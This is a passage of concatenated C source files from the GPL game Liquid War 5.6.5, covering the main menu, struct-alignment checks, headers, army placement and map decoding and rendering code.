"options.h" #include "play.h" #include "netplay.h" #include "team.h" #include "netgame.h" #include "network.h" #include "error.h" #include "about.h" #include "lang.h" #include "log.h" /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ int confirm_quit (void) { DIALOG d[3]; memset (d, 0, sizeof (d)); d[2].proc = NULL; standard_button (d, 0, 0, 2, 1); standard_button (d + 1, 1, 0, 2, 1); d[0].dp = lw_lang_string (LW_LANG_STRING_MENU_EXIT); #ifdef DOS d[0].dp = lw_lang_string (LW_LANG_STRING_MENU_EXITDOS); #endif #ifdef WIN32 d[0].dp = lw_lang_string (LW_LANG_STRING_MENU_EXITWINDOWS); #endif #ifdef UNIX d[0].dp = lw_lang_string (LW_LANG_STRING_MENU_EXITUNIX); #endif d[1].dp = lw_lang_string (LW_LANG_STRING_MENU_BACK); d[0].key = 'q'; d[1].key = 'w'; return (my_do_dialog (d, 0) == 0); } /*------------------------------------------------------------------*/ /* lancement du menu principal */ /*------------------------------------------------------------------*/ /*------------------------------------------------------------------*/ void main_menu (int fade_in) { DIALOG d[11]; int i, choix = 4, retour = 0; memset (d, 0, sizeof (d)); display_back_image (); if (fade_in) { my_fade_in (); } while (retour != MENU_EXIT) { for (i = 0; i < 6; ++i) standard_button (d + i + 4, 0, i, 1, 6); quick_buttons (d); d[MENU_QUICK_BACK].flags = D_HIDDEN; d[MENU_QUICK_MAIN].flags = D_HIDDEN; d[4].dp = lw_lang_string (LW_LANG_STRING_MENU_PLAY); d[5].dp = lw_lang_string (LW_LANG_STRING_MENU_NETGAME); d[6].dp = lw_lang_string (LW_LANG_STRING_MENU_MAP); d[7].dp = lw_lang_string (LW_LANG_STRING_MENU_TEAMS); d[8].dp = lw_lang_string (LW_LANG_STRING_MENU_OPTIONS); d[9].dp = lw_lang_string (LW_LANG_STRING_MENU_ABOUT); d[10].proc = 0; choix = my_do_dialog (d, choix); switch (choix) { case -1: case MENU_QUICK_QUIT: if (confirm_quit ()) retour = MENU_EXIT; break; case MENU_QUICK_PLAY: retour = MENU_PLAY; break; case 4: LW_NETWORK_ON = 0; retour = play_sequence (); break; case 5: #ifndef DOS retour = network_game (); #else retour = error_no_network_support (); #endif break; case 6: retour = choose_map (); break; case 7: retour = choose_teams (); break; case 8: retour = options (); break; case 9: retour = lw_about (); break; } /* * We handle the quick top-right "Play" button */ if (retour == MENU_PLAY) { if (LW_NETWORK_ON) { #ifndef DOS retour = netplay_sequence (); #else retour = play_sequence (); #endif } else { retour = play_sequence (); } } } } liquidwar-5.6.5/src/asm.c0000664000372000037200000001374513407756104014666 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : asm.h */ /* contenu : assembly language related stuff */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "asm.h" #include "area.h" #include "log.h" #include "startup.h" /*==================================================================*/ /* constants */ /*==================================================================*/ #define LW_ASM_OFFSET_BITMAP_LINE 64 typedef void *ptr; #define LW_ASM_SIZEOF_int 4 #define LW_ASM_SIZEOF_short 2 #define LW_ASM_SIZEOF_char 1 #define LW_ASM_SIZEOF_ptr 4 #define LW_ASM_SIZEOF_MESH_UPDATE 4 #define LW_ASM_SIZEOF_MESH_STATE 4 #define LW_ASM_SIZEOF_MESH_INFO 8 #define LW_ASM_SIZEOF_MESH_SIDE 4 #define LW_ASM_SIZEOF_MESH 104 #define LW_ASM_SIZEOF_FIGHTER 8 #define LW_ASM_SIZEOF_PLACE 8 #define LW_ASM_CHECK_SIZEOF(S) \ if (sizeof(S)!=LW_ASM_SIZEOF_ ## S) \ { \ result=0; \ log_print_str("Error: " #S " size is "); \ log_print_int(sizeof(S)); \ log_print_str(" and should be "); \ log_println_int(LW_ASM_SIZEOF_ ## S); \ } /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ int lw_asm_check_struct_align (void) { int result = 1; #ifdef ASM { BITMAP *bmp = NULL; int offset_bitmap_line; LW_ASM_CHECK_SIZEOF (int); LW_ASM_CHECK_SIZEOF (short); LW_ASM_CHECK_SIZEOF (char); LW_ASM_CHECK_SIZEOF (ptr); LW_ASM_CHECK_SIZEOF (MESH_UPDATE); LW_ASM_CHECK_SIZEOF (MESH_STATE); LW_ASM_CHECK_SIZEOF (MESH_INFO); LW_ASM_CHECK_SIZEOF (MESH_SIDE); LW_ASM_CHECK_SIZEOF (MESH); LW_ASM_CHECK_SIZEOF (FIGHTER); LW_ASM_CHECK_SIZEOF (PLACE); offset_bitmap_line = ((char *) &(bmp->line)) - ((char *) bmp); if (offset_bitmap_line != LW_ASM_OFFSET_BITMAP_LINE) { result = 0; log_print_str ("Error: offset for BITMAP->line is "); log_print_int (offset_bitmap_line); log_print_str (" and should be "); log_println_int (LW_ASM_OFFSET_BITMAP_LINE); STARTUP_ASM = 0; } } #endif if (!result) { log_println_str ("WARNING!!!"); log_println_str ("Liquid War might crash unexpectedly... Please read previous error messages."); log_println (); } return result; } liquidwar-5.6.5/src/speeds.h0000664000372000037200000001015213407756104015363 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : speeds.h */ /* contenu : menu used to set up speeds */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_SPEEDS #define LIQUID_WAR_INCLUDE_SPEEDS /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int speeds_options (void); #endif liquidwar-5.6.5/src/langen.h0000664000372000037200000001055413407756104015352 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : langen.h */ /* content : handles English dependant stuff (locale) */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_LANGEN #define LIQUID_WAR_INCLUDE_LANGEN /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* constants */ /*==================================================================*/ /*==================================================================*/ /* globals */ /*==================================================================*/ /*==================================================================*/ /* functions */ /*==================================================================*/ extern void lw_langen_init (); extern char *lw_langen_string (int id); #endif liquidwar-5.6.5/src/army.c0000664000372000037200000002353513407756104015054 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : army.c */ /* contenu : placement des armees */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "area.h" #include "army.h" #include "bigdata.h" #include "config.h" #include "cursor.h" #include "mesh.h" #include "decal.h" #include "network.h" #include "log.h" /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ FIGHTER *CURRENT_ARMY = NULL; int CURRENT_ARMY_SIZE = 0; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ static int get_battle_room (void) { int i, n; n = 0; for (i = 0; i < CURRENT_MESH_SIZE; ++i) n += CURRENT_MESH[i].side.size * CURRENT_MESH[i].side.size; return n; } /*------------------------------------------------------------------*/ static int add_fighter (FIGHTER * f, int team, int x, int y, int health) { int j; j = y * CURRENT_AREA_W + x; if (CURRENT_AREA[j].mesh && (!CURRENT_AREA[j].fighter)) { CURRENT_AREA[j].fighter = f; f->health = health; f->team = team; f->x = x; f->y = y; f->last_dir = j % NB_DIRS; return 1; } else return 0; } /*------------------------------------------------------------------*/ static void place_team (int part, int team) { int placed, x, y, x_min, y_min, x_max, y_max; int fighters; int health; FIGHTER *pos; fighters = CURRENT_ARMY_SIZE / PLAYING_TEAMS; ACTIVE_FIGHTERS[team] = 0; health = MAX_FIGHTER_HEALTH - 1; switch (part) { case 0: x = CURRENT_AREA_W / 6; y = CURRENT_AREA_H / 4; break; case 1: x = CURRENT_AREA_W / 2; y = CURRENT_AREA_H / 4; break; case 2: x = (5 * CURRENT_AREA_W) / 6; y = CURRENT_AREA_H / 4; break; case 3: x = CURRENT_AREA_W / 6; y = (3 * CURRENT_AREA_H) / 4; break; case 4: x = CURRENT_AREA_W / 2; y = (3 * CURRENT_AREA_H) / 4; break; default: x = (5 * CURRENT_AREA_W) / 6; y = (3 * CURRENT_AREA_H) / 4; break; } x_min = x_max = x; y_min = y_max = y; pos = CURRENT_ARMY + team; placed = 0; while (placed < fighters) { for (x = x_min; x <= x_max && placed < fighters; ++x) placed += add_fighter (pos + placed * PLAYING_TEAMS, team, x, y_min, health); if (x_max < CURRENT_AREA_W - 2) ++x_max; for (y = y_min; y <= y_max && placed < fighters; ++y) placed += add_fighter (pos + placed * PLAYING_TEAMS, team, x_max, y, health); if (y_max < CURRENT_AREA_H - 2) ++y_max; for (x = x_max; x >= x_min && placed < fighters; --x) placed += add_fighter (pos + placed * PLAYING_TEAMS, team, x, y_max, health); if (x_min > 1) --x_min; for (y = y_max; y >= y_min && placed < fighters; --y) placed += add_fighter (pos + placed * PLAYING_TEAMS, team, x_min, y, health); if (y_min > 1) --y_min; } } /*------------------------------------------------------------------*/ void place_all_team (void) { int i, j, n; for (i = 0; i < NB_TEAMS; ++i) { ACTIVE_FIGHTERS[i] = 0; } n = 0; if (LW_NETWORK_ON) { /* * In this case, we *must* place the teams in the same order * or the behavior would not be the same on all the computers. */ for (j = 0; j < NB_TEAMS && n < NB_TEAMS; ++j) { for (i = 0; i < NB_TEAMS && n < NB_TEAMS; ++i) { if (LW_NETWORK_INFO[i].active && LW_NETWORK_INFO[i].part == j) { place_team (LW_NETWORK_INFO[i].part, LW_NETWORK_INFO[i].server_id); auto_cursor (i, LW_NETWORK_INFO[i].server_id, LW_NETWORK_INFO[i].name); n++; } } } } else { for (i = 0; i < NB_TEAMS && n < NB_TEAMS; ++i) { if (CONFIG_CONTROL_TYPE[i] != CONFIG_CONTROL_TYPE_OFF) { place_team (i, n); auto_cursor (i, n, CONFIG_PLAYER_NAME[i]); n++; } } } } /*------------------------------------------------------------------*/ void test_army (void) { int i, k, x, y; FIGHTER f; MESH *m; for (i = 0; i < CURRENT_ARMY_SIZE; ++i) { f.team = CURRENT_ARMY[i].team; x = f.x = CURRENT_ARMY[i].x; y = f.y = CURRENT_ARMY[i].y; f.health = CURRENT_ARMY[i].health; k = y * CURRENT_AREA_W + x; m = CURRENT_AREA[k].mesh; if (m) if (m->info[0].state.grad) { /* * test above does nothing, but at least * it queries memory, should we have an * ugly bug, at least it would reveal * it now rather than show up later. */ } } } /*------------------------------------------------------------------*/ int create_army (void) { int ret = -1, i; int fill_table[33] = { 1, 2, 3, 4, 5, 6, 8, 9, 10, 12, 14, 16, 18, 20, 22, 24, 25, 27, 29, 31, 33, 36, 40, 45, 50, 55, 60, 65, 70, 75, 80, 90, 99 }; CURRENT_ARMY_SIZE = (get_battle_room () * fill_table[LW_CONFIG_CURRENT_RULES.fighter_number]) / 100; CURRENT_ARMY_SIZE /= PLAYING_TEAMS; if (CURRENT_ARMY_SIZE < 1) CURRENT_ARMY_SIZE = 1; CURRENT_ARMY_SIZE *= PLAYING_TEAMS; if ((CURRENT_ARMY = malloc_in_big_data_bottom (CURRENT_ARMY_SIZE * sizeof (FIGHTER))) != 0) { for (i = 0; i < CURRENT_ARMY_SIZE; ++i) { CURRENT_ARMY[i].health = 0; CURRENT_ARMY[i].team = -1; CURRENT_ARMY[i].x = 0; CURRENT_ARMY[i].y = 0; CURRENT_ARMY[i].last_dir = 0; } ret = 0; } return ret; } liquidwar-5.6.5/src/map.c0000664000372000037200000005010213407756104014647 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : map.c */ /* contenu : decryptage des tableaux en memoire */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include "alleg2.h" #include "bigdata.h" #include "disk.h" #include "map.h" #include "texture.h" #include "network.h" #include "log.h" #include "macro.h" #include "serial.h" #include "path.h" #include "random.h" /*==================================================================*/ /* constantes */ /*==================================================================*/ #define LIGHT_OR_DARK_TRESHOLD 315 #define CONSIDERED_AS_DARK 0 #define CONSIDERED_AS_LIGHT 2 #define PLAYABLE_AREA 1 #define MINI_SIDE_SIZE 4 #define MINI_PLAYABLE_AREA 1024 /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ static int calc_zoom_factor (int w, int h, int min_w, int min_h) { int factor_w, factor_h, factor; if (w <= 0 || h <= 0) { log_println_str ("Error: map size is null or negative!"); w = h = 1; } factor_w = ((min_w - 1) / w) + 1; factor_h = ((min_h - 1) / h) + 1; factor = (factor_w > factor_h) ? factor_w : factor_h; return factor; } /*------------------------------------------------------------------*/ static void sort_light_and_dark (BITMAP * bmp, PALETTE pal) { char table[256]; int i, x, y; for (i = 0; i < 256; ++i) { if (6 * pal[i].r + 3 * pal[i].g + pal[i].b > LIGHT_OR_DARK_TRESHOLD) table[i] = CONSIDERED_AS_LIGHT; else table[i] = CONSIDERED_AS_DARK; } for (y = 0; y < bmp->h; ++y) for (x = 0; x < bmp->w; ++x) putpixel (bmp, x, y, table[getpixel (bmp, x, y)]); } /*------------------------------------------------------------------*/ static BITMAP * extract_significant_part (BITMAP * src) { int min_x = src->w; int min_y = src->h; int max_x = -1; int max_y = -1; int dst_x, dst_y, dst_w, dst_h; int x, y; BITMAP *result; for (y = 0; y < src->h; ++y) for (x = 0; x < src->w; ++x) if (getpixel (src, x, y) == CONSIDERED_AS_DARK) { if (min_x > x) min_x = x; if (min_y > y) min_y = y; if (max_x < x) max_x = x; if (max_y < y) max_y = y; } dst_x = min_x; dst_y = min_y; dst_w = max_x - min_x + 1; dst_h = max_y - min_y + 1; if (dst_w < MINI_SIDE_SIZE || dst_h < MINI_SIDE_SIZE) result = NULL; else { result = my_create_bitmap (dst_w, dst_h); if (result) blit (src, result, dst_x, dst_y, 0, 0, dst_w, dst_h); } return result; } /*-----------------------------------------------------------------*/ static int spread_color_down (BITMAP * bmp, int color1, int color2) { int x, y, x1, y1, x2, y2, found = 0; for (y = 0; y < bmp->h; ++y) for (x = 0; x < bmp->w; ++x) if (getpixel (bmp, x, y) == color2) { x1 = x - 1; if (x1 < 0) x1 = 0; x2 = x + 1; if (x2 > bmp->w - 1) x2 = bmp->w - 1; y1 = y - 1; if (y1 < 0) y1 = 0; y2 = y + 1; if (y2 > bmp->h - 1) y2 = bmp->h - 1; if (getpixel (bmp, x2, y) == color1) { putpixel (bmp, x2, y, color2); found++; } if (getpixel (bmp, x2, y2) == color1) { putpixel (bmp, x2, y2, color2); found++; } if (getpixel (bmp, x, y2) == color1) { putpixel (bmp, x, y2, color2); found++; } if (getpixel (bmp, x1, y2) == color1) { putpixel (bmp, x1, y2, color2); found++; } } return found; } /*-----------------------------------------------------------------*/ static int spread_color_up (BITMAP * bmp, int color1, int color2) { int x, y, x1, y1, x2, y2, found = 0; for (y = bmp->h - 1; y >= 0; --y) for (x = bmp->w - 1; x >= 0; --x) if (getpixel (bmp, x, y) == color2) { x1 = x - 1; if (x1 < 0) x1 = 0; x2 = x + 1; if (x2 > bmp->w - 1) x2 = bmp->w - 1; y1 = y - 1; if (y1 < 0) y1 = 0; y2 = y + 1; if (y2 > bmp->h - 1) y2 = bmp->h - 1; if (getpixel (bmp, x1, y) == color1) { putpixel (bmp, x1, y, color2); found++; } if (getpixel (bmp, x1, y1) == color1) { putpixel (bmp, x1, y1, color2); found++; } if (getpixel (bmp, x, y1) == color1) { putpixel (bmp, x, y1, color2); found++; } if (getpixel (bmp, x2, y1) == color1) { putpixel (bmp, x2, y1, color2); found++; } } return found; } /*-----------------------------------------------------------------*/ static int check_if_playable (BITMAP * bmp) { int x = 0, y = 0, x0, y0; int unplayable = 0; int playable_place = 0; /* * Now we draw the "outside" of the map. This is usefull * to avoid bugs (core dumps) if the map is not correctly drawn. */ hline (bmp, 0, 0, bmp->w - 1, CONSIDERED_AS_DARK); hline (bmp, 0, bmp->h - 1, bmp->w - 1, CONSIDERED_AS_DARK); vline (bmp, 0, 0, bmp->h - 1, CONSIDERED_AS_DARK); vline (bmp, bmp->w - 1, 0, bmp->h - 1, CONSIDERED_AS_DARK); x0 = y0 = -1; for (y = 0; y < bmp->h && y0 < 0; ++y) for (x = 0; x < bmp->w && x0 < 0; ++x) if (getpixel (bmp, x, y) == CONSIDERED_AS_LIGHT) { x0 = x; y0 = y; } if (x0 > 0 && y0 > 0) { putpixel (bmp, x, y, PLAYABLE_AREA); while (spread_color_down (bmp, CONSIDERED_AS_LIGHT, PLAYABLE_AREA) + spread_color_up (bmp, CONSIDERED_AS_LIGHT, PLAYABLE_AREA)); } else unplayable |= 1; for (y = 0; y < bmp->h; ++y) for (x = 0; x < bmp->w; ++x) if (getpixel (bmp, x, y) == PLAYABLE_AREA) ++playable_place; unplayable |= (playable_place < MINI_PLAYABLE_AREA); return (!unplayable); } /*-----------------------------------------------------------------*/ static void fill_with_fg_and_bg (BITMAP * bmp, int fg, int bg) { int x, y; /* * We set up the real fg and bg color instead of the * CONSIDERED_AS_... constants. */ for (y = 0; y < bmp->h; ++y) { for (x = 0; x < bmp->w; ++x) { putpixel (bmp, x, y, getpixel (bmp, x, y) == PLAYABLE_AREA ? bg : fg); } } } /*-----------------------------------------------------------------*/ static void convert_to_buffer (BITMAP * bmp, char *buffer, int *size, int *bg_size) { int pos_src, l, wh; char *data; wh = bmp->h * bmp->w; data = bmp->dat; pos_src = 0; (*size) = 0; (*bg_size) = 0; while (pos_src < wh) { l = 0; if (data[pos_src] != PLAYABLE_AREA) { while (pos_src < wh && (data[pos_src] != PLAYABLE_AREA) && l < 127) { l++; pos_src++; } buffer[(*size)++] = l; } else { while (pos_src < wh && (data[pos_src] == PLAYABLE_AREA) && l < 127) { l++; pos_src++; } buffer[(*size)++] = -l; (*bg_size) += l; } } buffer[(*size)++] = 0; } /*------------------------------------------------------------------*/ void * lw_map_archive_raw_bmp (BITMAP * bmp, PALETTE pal, const char *filename) { int w = 0, h = 0, size = 0, bg_size = 0; BITMAP *sub_bmp; char *temp = NULL; char *result = NULL; static int index = 1; char readable_name_buffer[LW_MAP_READABLE_NAME_SIZE + 1]; char system_name_buffer[LW_MAP_SYSTEM_NAME_SIZE + 1]; if (bmp) { sort_light_and_dark (bmp, pal); sub_bmp = extract_significant_part (bmp); if (sub_bmp) { w = sub_bmp->w; h = sub_bmp->h; if (check_if_playable (sub_bmp)) { temp = malloc_in_big_data_bottom (w * h + 1); if (temp) convert_to_buffer (sub_bmp, temp, &size, &bg_size); } destroy_bitmap (sub_bmp); } destroy_bitmap (bmp); } if (temp) { result = malloc (size + 8 + LW_MAP_SYSTEM_NAME_SIZE + LW_MAP_READABLE_NAME_SIZE); if (result) { /* * Write the header (size + geometry) */ lw_serial_set_map_header ((void *) result, size, (short) w, (short) h); /* * Then we store its system name */ memset (system_name_buffer, 0, sizeof (system_name_buffer)); LW_MACRO_STRCPY (system_name_buffer, lw_path_get_system_name (filename)); memcpy (result + 8, system_name_buffer, LW_MAP_SYSTEM_NAME_SIZE); /* * Then we store its readable name */ memset (readable_name_buffer, 0, sizeof (readable_name_buffer)); if (strcmp (filename, "lwmapgen") == 0) { /* * This is a map generated by lwmapgen, we label it as such. */ LW_MACRO_SPRINTF0 (readable_name_buffer, "Random map"); } else { LW_MACRO_SPRINTF1 (readable_name_buffer, "Custom map %d", index++); } memcpy (result + 8 + LW_MAP_SYSTEM_NAME_SIZE, readable_name_buffer, LW_MAP_READABLE_NAME_SIZE); /* * And at last we write the map itself */ memcpy (result + 8 + LW_MAP_SYSTEM_NAME_SIZE + LW_MAP_READABLE_NAME_SIZE, temp, size); } free_last_big_data_bottom (); } return result; } /*------------------------------------------------------------------*/ void * lw_map_archive_raw (const char *filename) { BITMAP *bmp; PALETTE pal; void *result = NULL; bmp = load_bitmap (filename, pal); if (bmp) { result = lw_map_archive_raw_bmp (bmp, pal, filename); } return result; } /*------------------------------------------------------------------*/ static void * lw_map_get_safe (int num, int network, int random) { void *raw_map = NULL; if (num > RAW_MAP_NUMBER - 1) num = RAW_MAP_NUMBER - 1; if (num < 0) num = 0; if (network && LW_NETWORK_RAW_MAP != NULL) { raw_map = LW_NETWORK_RAW_MAP; } else { if (random && LW_RANDOM_RAW_MAP != NULL) { raw_map = LW_RANDOM_RAW_MAP; } else { raw_map = RAW_MAP_ORDERED[num]; } } return raw_map; } /*------------------------------------------------------------------*/ BITMAP * lw_map_create_bicolor (int num, int fg, int bg, int network, int random, int min_w, int min_h, int *zoom_factor) { int pos_dst, pos_src, i, j, l, color; short w, h; signed char *data_dst, *data_src; BITMAP *result = NULL; BITMAP *temp; void *raw_map; int size, surface; int x, y; raw_map = lw_map_get_safe (num, network, random); data_src = raw_map; data_src += 8 + LW_MAP_SYSTEM_NAME_SIZE + LW_MAP_READABLE_NAME_SIZE; /* * We read the header (size + geometry) */ lw_serial_get_map_header (raw_map, &size, &w, &h); surface = ((int) w) * ((int) h); *zoom_factor = calc_zoom_factor (w, h, min_w, min_h); pos_src = pos_dst = 0; temp = my_create_bitmap (w, h); if (temp) { data_dst = temp->dat; while (pos_src < size && (l = data_src[pos_src++]) != 0) { if (l > 0) color = CONSIDERED_AS_DARK; else { l = -l; color = CONSIDERED_AS_LIGHT; } for (i = 0; i < l && pos_dst < surface; ++i) data_dst[pos_dst++] = color; } /* * We check if the map is "playable". Normally unplayable maps * should never make it there but... */ if (check_if_playable (temp)) { fill_with_fg_and_bg (temp, fg, bg); result = my_create_bitmap (w * (*zoom_factor), h * (*zoom_factor)); if (result) { /* * Not we magnify the map if needed, so that very small * maps are interesting to play on fast fancy computers */ for (y = 0; y < h; ++y) for (x = 0; x < w; ++x) { color = getpixel (temp, x, y); for (i = 0; i < *zoom_factor; ++i) for (j = 0; j < *zoom_factor; ++j) { putpixel (result, x * *zoom_factor + j, y * *zoom_factor + i, color); } } } } else { log_println_str ("Error: unplayable map!"); } destroy_bitmap (temp); } return result; } /*------------------------------------------------------------------*/ BITMAP * lw_map_create_textured (int num, int fg, int bg, int network, int random, int min_w, int min_h) { int x, y, w, h, color; BITMAP *result = NULL, *bg_tex, *fg_tex; int fg_w, fg_h; int bg_w, bg_h; int zoom_factor, zoom_factor_fg, zoom_factor_bg; bg_tex = lw_texture_create_bg (bg); fg_tex = lw_texture_create_fg (fg); if (bg_tex && fg_tex) { bg_w = bg_tex->w; bg_h = bg_tex->h; fg_w = fg_tex->w; fg_h = fg_tex->h; result = lw_map_create_bicolor (num, 1, 0, network, random, min_w, min_h, &zoom_factor); if (result) { w = result->w; h = result->h; zoom_factor_fg = zoom_factor_bg = zoom_factor; if (w != zoom_factor * fg_tex->w || h != zoom_factor * fg_tex->h) { zoom_factor_fg = 1; } if (w != zoom_factor * bg_tex->w || h != zoom_factor * bg_tex->h) { zoom_factor_bg = 1; } for (y = 0; y < h; ++y) for (x = 0; x < w; ++x) { if (getpixel (result, x, y)) { color = getpixel (fg_tex, (x / zoom_factor_fg) % fg_w, (y / zoom_factor_bg) % fg_h); } else { color = getpixel (bg_tex, (x / zoom_factor_bg) % bg_w, (y / zoom_factor_bg) % bg_h); } putpixel (result, x, y, color); } } } if (bg_tex) destroy_bitmap (bg_tex); if (fg_tex) destroy_bitmap (fg_tex); return result; } /*------------------------------------------------------------------*/ char * lw_map_get_system_name (int num, int network, int random) { static char result[LW_MAP_SYSTEM_NAME_SIZE + 1]; void *raw_map; char *char_ptr; raw_map = lw_map_get_safe (num, network, random); char_ptr = (char *) raw_map; 